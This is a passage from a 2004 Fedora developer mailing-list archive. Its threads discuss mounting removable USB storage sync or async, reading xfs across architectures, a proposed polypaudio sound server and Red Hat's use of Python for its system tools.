fedora-release from rawhide, too. Thanks! From lowen at pari.edu Thu Oct 28 13:47:20 2004 From: lowen at pari.edu (Lamar Owen) Date: Thu, 28 Oct 2004 09:47:20 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: <1098826859.11845.33.camel@opus.phy.duke.edu> References: <1098826723.3944.120.camel@localhost.localdomain> <1098826859.11845.33.camel@opus.phy.duke.edu> Message-ID: <200410280947.20504.lowen@pari.edu> On Tuesday 26 October 2004 17:41, seth vidal wrote: > Do not send to the list. > Send to him. If you use kmail, use 'Reply to Author' (available by holding down the left click on reply, then going down to the choice). As the list sets Reply-To:, straight replying comes to the list. Don't know about Evolution; I have as little of GNOME on this box as possible (I use the KDE-Redhat 3.3.1 packages and am happier with stockish KDE than GNOME). -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu From jerone at gmail.com Thu Oct 28 14:17:11 2004 From: jerone at gmail.com (Jerone Young) Date: Thu, 28 Oct 2004 09:17:11 -0500 Subject: Filesystem "binary compatibility" question In-Reply-To: <20041028105746.0fe81e73@localhost> References: <20041028105746.0fe81e73@localhost> Message-ID: <9f50a7a004102807175ddf4ca0@mail.gmail.com> A file systems structures do not change accross architetures. So a PPC or X86_64 enviroment reads it the same way an i386 enviroment (if they programmed it right,and as far as I know xfs is). Now bootable partions accross different aritectures is another story :-) If your signature is correct your running FC3 test 2 (and upgraded the hell out of it), do a clean install and try RC2. On Thu, 28 Oct 2004 10:57:46 +0200, Matthias Saou wrote: > Hi, > > I've tried today for the second time to "save" data from an xfs filesystem > from an x86_64 machine which doesn't boot anymore. I don't have any other > x86_64 machine to put the drive in and access it, so I'm not 100% sure > about this "problem", but : > > When I try to mount that xfs filesystem on an x86 machine (running FC Devel > and already has some "native" xfs filesystems), I get a nasty segfault... > so I was wondering about filesystem "binary compatibility" across > architectures. As I have some ppcs, an x86_64 and plenty of x86, not being > able to use an existing filesystem across all would definitely make me stay > away from it, could that be the case with xfs? Does anyone know a way to be > sure? > > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.9-1.643.radeon > Load : 1.14 1.13 1.15 > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From david at fubar.dk Thu Oct 28 14:47:21 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 28 Oct 2004 10:47:21 -0400 Subject: Removable storage devices and sync In-Reply-To: <20041028142714.28869e00@nausicaa.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> Message-ID: <1098974841.3711.7.camel@davidz> On Thu, 2004-10-28 at 14:27 +0200, Ralf Ertzinger wrote: > Hi. > > Nils Philippsen wrote: > > > IIRC it depends on the size of the storage, i.e. if it is below a > > certain size it won't get moutned sync because then it's probably some > > kind of a flash device which can only be written a certain number of > > times. In that case, sync is a bad idea because it will wear your device > > much faster. Right, that is the heuristic we use. > Hmm. The following is an excerpt from my laptop's /etc/fstab: > > /dev/sda /media/CCYU_TECH vfat pamconsole,noatime,async,exec,noauto,managed 0 0 > /dev/sdb10 /media/usbdisk ext3 pamconsole,noatime,async,exec,noauto,managed 0 0 > /dev/sdb12 /media/usbdisk1 ext3 pamconsole,exec,noauto,managed 0 0 > /dev/sdb13 /media/MacOSX hfsplus pamconsole,exec,noauto,managed 0 0 > > /dev/sda is a 64MB USB flash device > /dev/sdb is a 15GB hard disk drive in an USB enclosure, sdb10 being a quite > small partition. > So small partitions get explicitly mounted async, but isn't that the default, > anyway? > Oops, embarrassing, my bad. That should be 'sync' instead of 'async'. Will change that, maybe it can get into FC-3 otherwise it will have to be an update. David From fedora-devel at camperquake.de Thu Oct 28 14:49:41 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 28 Oct 2004 16:49:41 +0200 Subject: Removable storage devices and sync In-Reply-To: <1098974841.3711.7.camel@davidz>; from david@fubar.dk on Thu, Oct 28, 2004 at 10:47:21AM -0400 References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> Message-ID: <20041028164941.A23049@ryoko.camperquake.de> On Thu, Oct 28, 2004 at 10:47:21AM -0400, David Zeuthen wrote: > Oops, embarrassing, my bad. That should be 'sync' instead of 'async'. > Will change that, maybe it can get into FC-3 otherwise it will have to > be an update. So, sync instead of async, and not on the small, but on the large devices? From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Thu Oct 28 14:51:15 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Thu, 28 Oct 2004 16:51:15 +0200 Subject: Filesystem "binary compatibility" question In-Reply-To: <9f50a7a004102807175ddf4ca0@mail.gmail.com> References: <20041028105746.0fe81e73@localhost> <9f50a7a004102807175ddf4ca0@mail.gmail.com> Message-ID: <20041028165115.3c5cc710@localhost> Jerone Young wrote : > A file systems structures do not change accross architetures. So a PPC > or X86_64 enviroment reads it the same way an i386 enviroment (if they > programmed it right,and as far as I know xfs is). Now bootable > partions accross different aritectures is another story :-) I have no problems accessing from an x86 the ext3 partitions made from the x86_64 host that are on the same physical disk as that problematic xfs one. It's not the first time I try, with this exact same disk... last time I gave up trying to read it from an x86 host, and when I tried looking into the problem my x86_64 machine was having... gone, it was booting again, so I just put the disk back in, and it worked fine. Now, that x86_64 doesn't boot anymore (same problem), and I tried (again) to access the disk's data from an x86 test machine, and I can mount the ext3 partitions fine, I can even get the disk's grub to appear and the kernels tell me that I need a 64bit system for them to work ;-) But trying to mount that xfs partition (made on the x86_64 host running FC2) gives me a segfault every time, which is why I was asking : I'm 100% sure my x86_64 FC2 host could still read that partition if it still booted, whereas no x86 FC2 or FCDev can, as I see it... I've tried searching for info regarding possible incompatibilities for filesystems between archs, but can't seem to find anything relevant to my problem. > If your signature is correct your running FC3 test 2 (and upgraded the > hell out of it), do a clean install and try RC2. That's my laptop, a completely different matter :-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.9-1.643.radeon Load : 0.26 0.29 0.31 From david at fubar.dk Thu Oct 28 14:53:49 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 28 Oct 2004 10:53:49 -0400 Subject: Removable storage devices and sync In-Reply-To: <20041028164941.A23049@ryoko.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> Message-ID: <1098975229.3711.16.camel@davidz> On Thu, 2004-10-28 at 16:49 +0200, Ralf Ertzinger wrote: > On Thu, Oct 28, 2004 at 10:47:21AM -0400, David Zeuthen wrote: > > > Oops, embarrassing, my bad. That should be 'sync' instead of 'async'. > > Will change that, maybe it can get into FC-3 otherwise it will have to > > be an update. > > So, sync instead of async, and not on the small, but on the large devices? > No, option 'sync' only if the filesystem is smaller than 2GB otherwise neither 'sync' nor 'async' options (which will default to 'async'). David From fedora-devel at camperquake.de Thu Oct 28 15:10:57 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 28 Oct 2004 17:10:57 +0200 Subject: Removable storage devices and sync In-Reply-To: <1098975229.3711.16.camel@davidz>; from david@fubar.dk on Thu, Oct 28, 2004 at 10:53:49AM -0400 References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> Message-ID: <20041028171057.B23049@ryoko.camperquake.de> On Thu, Oct 28, 2004 at 10:53:49AM -0400, David Zeuthen wrote: > No, option 'sync' only if the filesystem is smaller than 2GB otherwise > neither 'sync' nor 'async' options (which will default to 'async'). OK, you've lost me. Wasn't the logic that mounting sync increases the number of write accesses to the device, which is bad for flash devices, thus small devices (== more likely to be flash) are mounted async? At least that is how I understood Nils' mail. From david at fubar.dk Thu Oct 28 15:19:38 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 28 Oct 2004 11:19:38 -0400 Subject: Removable storage devices and sync In-Reply-To: <20041028171057.B23049@ryoko.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> Message-ID: <1098976778.4553.4.camel@davidz> On Thu, 2004-10-28 at 17:10 +0200, Ralf Ertzinger wrote: > On Thu, Oct 28, 2004 at 10:53:49AM -0400, David Zeuthen wrote: > > > No, option 'sync' only if the filesystem is smaller than 2GB otherwise > > neither 'sync' nor 'async' options (which will default to 'async'). > > OK, you've lost me. Wasn't the logic that mounting sync increases the > number of write accesses to the device, which is bad for flash devices, > thus small devices (== more likely to be flash) are mounted async? > > At least that is how I understood Nils' mail. > Nope, the point of mounting 'sync' is to ensure that all IO is done synchronously to ensure that data is written to the disk in the event that the user yanks out the device without properly unmounting it. Cheers, David From fedora-devel at camperquake.de Thu Oct 28 15:20:20 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 28 Oct 2004 17:20:20 +0200 Subject: Removable storage devices and sync In-Reply-To: <1098976778.4553.4.camel@davidz>; from david@fubar.dk on Thu, Oct 28, 2004 at 11:19:38AM -0400 References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> Message-ID: <20041028172020.C23049@ryoko.camperquake.de> On Thu, Oct 28, 2004 at 11:19:38AM -0400, David Zeuthen wrote: > Nope, the point of mounting 'sync' is to ensure that all IO is done > synchronously to ensure that data is written to the disk in the event > that the user yanks out the device without properly unmounting it. Yes, I know that. But why the different handling for large and small devices? Should not all external devices be mounted sync? I can pull out an external hard disk just as easy as an USB stick. From david at fubar.dk Thu Oct 28 15:32:01 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 28 Oct 2004 11:32:01 -0400 Subject: Removable storage devices and sync In-Reply-To: <20041028172020.C23049@ryoko.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> Message-ID: <1098977522.4553.8.camel@davidz> On Thu, 2004-10-28 at 17:20 +0200, Ralf Ertzinger wrote: > On Thu, Oct 28, 2004 at 11:19:38AM -0400, David Zeuthen wrote: > > > Nope, the point of mounting 'sync' is to ensure that all IO is done > > synchronously to ensure that data is written to the disk in the event > > that the user yanks out the device without properly unmounting it. > > Yes, I know that. But why the different handling for large and small > devices? Should not all external devices be mounted sync? I can > pull out an external hard disk just as easy as an USB stick. > Because 'sync' kills performance which is noticeable on USB harddisks and not on USB sticks (flash memory is slow). In the future we will do this using a combination of a) per device hal device information files; and b) preferences coming from the logged in users settings. Right now, looking at the size is the best heuristic we got, sorry. David From fedora-devel at camperquake.de Thu Oct 28 15:36:52 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 28 Oct 2004 17:36:52 +0200 Subject: Removable storage devices and sync In-Reply-To: <1098977522.4553.8.camel@davidz>; from david@fubar.dk on Thu, Oct 28, 2004 at 11:32:01AM -0400 References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> <1098977522.4553.8.camel@davidz> Message-ID: <20041028173652.D23049@ryoko.camperquake.de> On Thu, Oct 28, 2004 at 11:32:01AM -0400, David Zeuthen wrote: > Right now, looking at the size is the best heuristic we got, sorry. No worries. BTW, even Windows would like you to notifiy it before you yank out an USB device (there is an icon for that in the taskbar), so requesting an umount is nothing unknown in the windows world (although it is not called by that name) From giallu at gmail.com Thu Oct 28 15:53:07 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Thu, 28 Oct 2004 17:53:07 +0200 Subject: Removable storage devices and sync In-Reply-To: <20041028173652.D23049@ryoko.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> <1098977522.4553.8.camel@davidz> <20041028173652.D23049@ryoko.camperquake.de> Message-ID: On Thu, 28 Oct 2004 17:36:52 +0200, Ralf Ertzinger wrote: > BTW, even Windows would like you to notifiy it before you yank out > an USB device (there is an icon for that in the taskbar), so requesting > an umount is nothing unknown in the windows world (although it is > not called by that name) That's true, but can we pop up a message stating the user did a really nasty thing removing the USB device without unmounting?? Please forgive me if this is already in FC >1 but I am lagging a lot on installs... From johnp at redhat.com Thu Oct 28 16:05:08 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 28 Oct 2004 12:05:08 -0400 Subject: Removable storage devices and sync In-Reply-To: References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> <1098977522.4553.8.camel@davidz> <20041028173652.D23049@ryoko.camperquake.de> Message-ID: <1098979508.27512.3.camel@remedyz.boston.redhat.com> On Thu, 2004-10-28 at 17:53 +0200, Gianluca Sforna wrote: > On Thu, 28 Oct 2004 17:36:52 +0200, Ralf Ertzinger > wrote: > > > BTW, even Windows would like you to notifiy it before you yank out > > an USB device (there is an icon for that in the taskbar), so requesting > > an umount is nothing unknown in the windows world (although it is > > not called by that name) > That's true, but can we pop up a message stating the user did a really > nasty thing removing the USB device without unmounting?? > > Please forgive me if this is already in FC >1 but I am lagging a lot > on installs... No, this was discussed in detail and the conclusion was a dialog like that just get users used to clicking close without reading the warning. Once notification comes in we can add this but the ultimate idea is to have some sort user-space caching file system that can recover from devices being removed unexpectedly. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From david at fubar.dk Thu Oct 28 16:10:55 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 28 Oct 2004 12:10:55 -0400 Subject: Removable storage devices and sync In-Reply-To: <20041028173652.D23049@ryoko.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> <1098977522.4553.8.camel@davidz> <20041028173652.D23049@ryoko.camperquake.de> Message-ID: <1098979855.5489.3.camel@davidz> On Thu, 2004-10-28 at 17:36 +0200, Ralf Ertzinger wrote: > On Thu, Oct 28, 2004 at 11:32:01AM -0400, David Zeuthen wrote: > > > Right now, looking at the size is the best heuristic we got, sorry. > > No worries. > > BTW, even Windows would like you to notifiy it before you yank out > an USB device (there is an icon for that in the taskbar), so requesting > an umount is nothing unknown in the windows world (although it is > not called by that name) > Btw, IIRC earlier versions of Windows pops up an evil model dialog box telling the user off but I think they changed that as it annoyed users. We don't do that right now FWIW. However, this is in no way carte blanche for people to not unmount their devices before yanking them out - one should always unmount your drives before doing that! The 'sync' option is merely to minimize data loss in the event that people don't unmount it. Cheers, David From NOS at Utel.no Thu Oct 28 17:09:08 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Thu, 28 Oct 2004 19:09:08 +0200 Subject: Removable storage devices and sync In-Reply-To: <000701c4bce1$9eb5e200$14aaa8c0@utelsystems.local> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <000701c4bce1$9eb5e200$14aaa8c0@utelsystems.local> Message-ID: <418127B4.8080609@Utel.no> Nils Philippsen wrote: > On Thu, 2004-10-28 at 11:30 +0200, Ralf Ertzinger wrote: > >>Hi. >> >>I noticed that external storage deviced that are automagically added to >>/etc/fstab by hal do not get the sync flag anymore (at least I think they >>used to get it). Is this intentional? >> >>I know that sync does not solve all problems with suddenly disappearing >>devices, but it sure helps :) > > > IIRC it depends on the size of the storage, i.e. if it is below a > certain size it won't get moutned sync because then it's probably some > kind of a flash device which can only be written a certain number of > times. In that case, sync is a bad idea because it will wear your device > much faster. What about noatime for such devices ? Shouldn't that help the wear of such devices ? Especially since many flash devices have FAT fileystems on them,and atime seems to be mapped to the other time fields on fat. From fedora-devel at camperquake.de Thu Oct 28 17:11:36 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 28 Oct 2004 19:11:36 +0200 Subject: Removable storage devices and sync In-Reply-To: <418127B4.8080609@Utel.no> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <000701c4bce1$9eb5e200$14aaa8c0@utelsystems.local> <418127B4.8080609@Utel.no> Message-ID: <20041028191136.2acf5b11@nausicaa.camperquake.de> Hi. "Nils O. Sel?sdal" wrote: > What about noatime for such devices ? Shouldn't that help the wear of > such devices ? Especially since many flash devices have FAT fileystems > on them,and atime seems to be mapped to the other time fields on fat. This seems to be done. -- TRUST NO ONE. KEEP YOUR LASER HANDY. THE COMPUTER IS YOUR FRIEND. -- "Paranoia," Avalon Hill From NOS at Utel.no Thu Oct 28 17:30:53 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Thu, 28 Oct 2004 19:30:53 +0200 Subject: Removable storage devices and sync In-Reply-To: <000201c4bd11$cbc89370$14aaa8c0@utelsystems.local> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <000701c4bce1$9eb5e200$14aaa8c0@utelsystems.local> <000201c4bd11$cbc89370$14aaa8c0@utelsystems.local> Message-ID: <41812CCD.1010406@Utel.no> Nils O. Sel?sdal wrote: > Nils Philippsen wrote: > >> On Thu, 2004-10-28 at 11:30 +0200, Ralf Ertzinger wrote: >> >>> Hi. >>> >>> I noticed that external storage deviced that are automagically added to >>> /etc/fstab by hal do not get the sync flag anymore (at least I think >>> they >>> used to get it). Is this intentional? >>> >>> I know that sync does not solve all problems with suddenly disappearing >>> devices, but it sure helps :) >> >> >> >> IIRC it depends on the size of the storage, i.e. if it is below a >> certain size it won't get moutned sync because then it's probably some >> kind of a flash device which can only be written a certain number of >> times. In that case, sync is a bad idea because it will wear your device >> much faster. > > What about noatime for such devices ? Shouldn't that help the wear of such > devices ? Especially since many flash devices have FAT fileystems on > them,and > atime seems to be mapped to the other time fields on fat. Pretty much ignore this if I'm not mistaken. FC3 seems to add noatime, FC2 does not. From hp at redhat.com Thu Oct 28 18:11:06 2004 From: hp at redhat.com (Havoc Pennington) Date: Thu, 28 Oct 2004 14:11:06 -0400 Subject: sound server Message-ID: <1098987067.5054.4.camel@localhost.localdomain> Hi, Do we have any comments on the sound server topic from a broader perspective than only GNOME? A competing proposal I've heard is to just use ALSA directly. I believe this is orthogonal to something like Helix/GStreamer which would both output to the sound server, but the maintainers of those media frameworks probably care about the discussion. A nice Fedora goal at some point would be to get all packages using the same sound setup. Havoc -------------- next part -------------- An embedded message was scrubbed... From: Lennart Poettering Subject: Proposal: replacing esound with polypaudio in 2.10 Date: Thu, 28 Oct 2004 19:21:20 +0200 Size: 6107 URL: From royamitabha at gmail.com Thu Oct 28 18:13:44 2004 From: royamitabha at gmail.com (Amitabha Roy) Date: Thu, 28 Oct 2004 14:13:44 -0400 Subject: Question regarding choice of python Message-ID: <77e74f3e04102811136f664cef@mail.gmail.com> I am curious as to why redhat chose python as the language to code the user interfaces to many of the system tools. I am assuming that system-config-network etc, all were written by redhat people and most of them were written in python (with gtk). Was there any discussion as to the benefits of python over other alternatives (tcl-tk, perl etc) ? Amitabha From kyrre at solution-forge.net Thu Oct 28 18:15:37 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 28 Oct 2004 20:15:37 +0200 Subject: Services and scripts at boot time In-Reply-To: <4180418E.4080800@redhat.com> References: <417F9F48.4010604@reality.it> <1098885510.2725.21.camel@kyrre> <4180418E.4080800@redhat.com> Message-ID: <1098987337.2728.2.camel@kyrre> Nothing to kill over, but anything which can make it boot faster is good. Fedora is really somewhat slowish, compared to other distros such as SuSE or Ubuntu. tor, 28.10.2004 kl. 02.47 skrev Michael Kearey: > Kyrre Ness Sjobak wrote: > > ons, 27.10.2004 kl. 15.14 skrev Lorenzo Luconi Trombacchi: > > > >>Why these scripts/services are default executed/activated at boot time > >>after Core installation? > > > > >>- rhnsd: Fedora Core users use RHN for manage/update packages? > > > > Kill, kill, kill! > > The rhnsd daemon does not actually start AFAIK. > > See if there is a daemon running ? > > ps ax |grep rhnsd > > shows nothing on my Fedora Core 2 system. Looking at the init.d script > for rhnsd /etc/init.d/rhnsd , look for '# Sanity Checks'. You will see > that if rhnsd is not found or /etc/sysconfig/rhn/systemid is not found > the rhnsd init script silently excites. > > Surely that's nothing to kill over ;) > > Cheers, > Michael From johnp at redhat.com Thu Oct 28 18:23:56 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 28 Oct 2004 14:23:56 -0400 Subject: sound server In-Reply-To: <1098987067.5054.4.camel@localhost.localdomain> References: <1098987067.5054.4.camel@localhost.localdomain> Message-ID: <1098987836.27512.12.camel@remedyz.boston.redhat.com> On Thu, 2004-10-28 at 14:11 -0400, Havoc Pennington wrote: > Hi, > > Do we have any comments on the sound server topic from a broader > perspective than only GNOME? > > A competing proposal I've heard is to just use ALSA directly. > > I believe this is orthogonal to something like Helix/GStreamer which > would both output to the sound server, but the maintainers of those > media frameworks probably care about the discussion. > > A nice Fedora goal at some point would be to get all packages using the > same sound setup. > > Havoc I was going to reply to this thread. It seems Jeff really likes Polyaudio so I am going to go ahead and make some packages. It looks like I might have to split out a libesound package for now. The biggest problem from what Jeff said would be converting all our packages to use Polyaudio's API. > email message attachment, "Forwarded message - Proposal: replacing > esound with polypaudio in 2.10" > On Thu, 2004-10-28 at 14:11 -0400, Havoc Pennington wrote: > > Hi! > > > > I would like to propose Polypaudio as a replacement for ESOUND in > > Gnome 2.10. Polypaudio is a sound server I have been developing for > > the last months. It aims to be a drop-in replacement for esound fixing > > all those problems esound has. For more information on polypaudio, > > see: > > > > http://0pointer.de/lennart/projects/polypaudio/ > > > > The two most important requirements for an ESOUND replacement are met > > with polypaudio: (at least I think that these are the most important > > issues) > > > > - Polypaudio provides an ESOUND compatibility module. When this is > > enabled polypaudio emulates an esound server, including autospawning > > and thinks like that. The protocol emulation polypaudio implements > > is not complete: some of the more esoteric commands are implemented > > as NOOPs. However, all commands currently used by Gnome 2.8 > > are available. Keep in mind that polypaudio emulates the protocol, not > > the library API: i.e. there's no need to patch, recompile or relink > > any ESOUND based applications for usage with polypaudio. > > > > - There's now a polypaudio sink for gstreamer. It's curentely not as > > featureful as the oss sink, but it is good enough for rhythmbox. > > > > What other requirements have to be met for inclusion of polypaudio in > > Gnome? I am strongly interested in getting polypaudio in shape for > > Gnome 2.10 in time: so please, don't hesitate to criticize polypaudio > > and especially its client API: > > > > http://0pointer.de/lennart/projects/polypaudio/doxygen/ > > > > Portability: I develop Polypaudio mostly on Linux. There's some > > compatibility with OSX, but it is not merged yet. No, it hasn't been > > ported to Solaris or xBSD yet. However the package makes use of > > autoconf, so I expect the port is easy to do. Polypaudio has been > > packaged for Ubuntu by Jeff Waugh, a package for Debian is on its way, > > as it seems. > > > > Lennart > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From kyrre at solution-forge.net Thu Oct 28 18:21:14 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 28 Oct 2004 20:21:14 +0200 Subject: any chances for some last minute vte changes, or atleast something to consider In-Reply-To: <20041028061703.GB17443@ip68-4-98-123.oc.oc.cox.net> References: <20041028061703.GB17443@ip68-4-98-123.oc.oc.cox.net> Message-ID: <1098987674.2728.4.camel@kyrre> tor, 28.10.2004 kl. 08.17 skrev Barry K. Nathan: > On Wed, Oct 27, 2004 at 08:48:33PM -0400, Jon Nettleton wrote: > > We have all dealt with the good, the bad, and the ugly of > > gnome-terminal/vte. Don't get me wrong, it has been my terminal of > [snip] > > Another last-minute vte bug to look at: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135537 > > I haven't tested the patch there, but I can reproduce the problem > reported there. This bug report is about the seemingly random display > corruption that happens with vi, etc. -- IOW a *much* more annoying > problem than the speed or the black background problem. (And it has a > 100% reproducible test case of this -- finally!) Scroll some upwards, and some lines get missed out? seen that... > > -Barry K. Nathan From johnp at redhat.com Thu Oct 28 18:25:40 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 28 Oct 2004 14:25:40 -0400 Subject: Question regarding choice of python In-Reply-To: <77e74f3e04102811136f664cef@mail.gmail.com> References: <77e74f3e04102811136f664cef@mail.gmail.com> Message-ID: <1098987940.27512.16.camel@remedyz.boston.redhat.com> On Thu, 2004-10-28 at 14:13 -0400, Amitabha Roy wrote: > I am curious as to why redhat chose python as the language to code > the user interfaces to many of the system tools. I am assuming > that system-config-network etc, all were written by redhat people > and most of them were written in python (with gtk). > > Was there any discussion as to the benefits of python over other alternatives > (tcl-tk, perl etc) ? I don't know the history of why Python was used but we generally like it here. I'm guessing the biggest contributing factor is that for the longest time python had the best Gtk+ bindings around. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From bfox at redhat.com Thu Oct 28 18:33:03 2004 From: bfox at redhat.com (Brent Fox) Date: Thu, 28 Oct 2004 14:33:03 -0400 Subject: Question regarding choice of python In-Reply-To: <77e74f3e04102811136f664cef@mail.gmail.com> References: <77e74f3e04102811136f664cef@mail.gmail.com> Message-ID: <1098988383.12515.45.camel@verve.devel.redhat.com> On Thu, 2004-10-28 at 14:13 -0400, Amitabha Roy wrote: > I am curious as to why redhat chose python as the language to code > the user interfaces to many of the system tools. I am assuming > that system-config-network etc, all were written by redhat people > and most of them were written in python (with gtk). > > Was there any discussion as to the benefits of python over other alternatives > (tcl-tk, perl etc) ? Sure, there were discussions, but Python was a natural choice for a number of reasons. A big one was that anaconda already existed and it was a Python/GTK program, so there was already a lot of in-house familiarity with Python and GTK. We wanted to be able to reuse a lot of the code between the installer and the configuration tools, so it made sense to use the same language that the installer was written in. A lot of that code got pulled into the rhpl package which both anaconda and the config tools use. Another reason is that the PyGtk bindings were of high quality and we had people in-house who could quickly fix bugs in the bindings when we hit them (and we did). Cheers, Brent From kyrre at solution-forge.net Thu Oct 28 18:34:48 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 28 Oct 2004 20:34:48 +0200 Subject: Notification applet - Was: Removable storage devices and sync In-Reply-To: <1098979855.5489.3.camel@davidz> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> <20041028142714.28869e00@nausicaa.camperquake.de> <1098974841.3711.7.camel@davidz> <20041028164941.A23049@ryoko.camperquake.de> <1098975229.3711.16.camel@davidz> <20041028171057.B23049@ryoko.camperquake.de> <1098976778.4553.4.camel@davidz> <20041028172020.C23049@ryoko.camperquake.de> <1098977522.4553.8.camel@davidz> <20041028173652.D23049@ryoko.camperquake.de> <1098979855.5489.3.camel@davidz> Message-ID: <1098988488.2728.9.camel@kyrre> Just out of curiosity: How hard will it be to have a "message applet" in tray, which connected to dBus, and an backend interface which provided a bridge to this applet through dBus, providing an interface for the major programming languages - including BASH. And it should be possible to specify which user should get the warning - in case of terminal servers etc. tor, 28.10.2004 kl. 18.10 skrev David Zeuthen: > On Thu, 2004-10-28 at 17:36 +0200, Ralf Ertzinger wrote: > > On Thu, Oct 28, 2004 at 11:32:01AM -0400, David Zeuthen wrote: > > > > > Right now, looking at the size is the best heuristic we got, sorry. > > > > No worries. > > > > BTW, even Windows would like you to notifiy it before you yank out > > an USB device (there is an icon for that in the 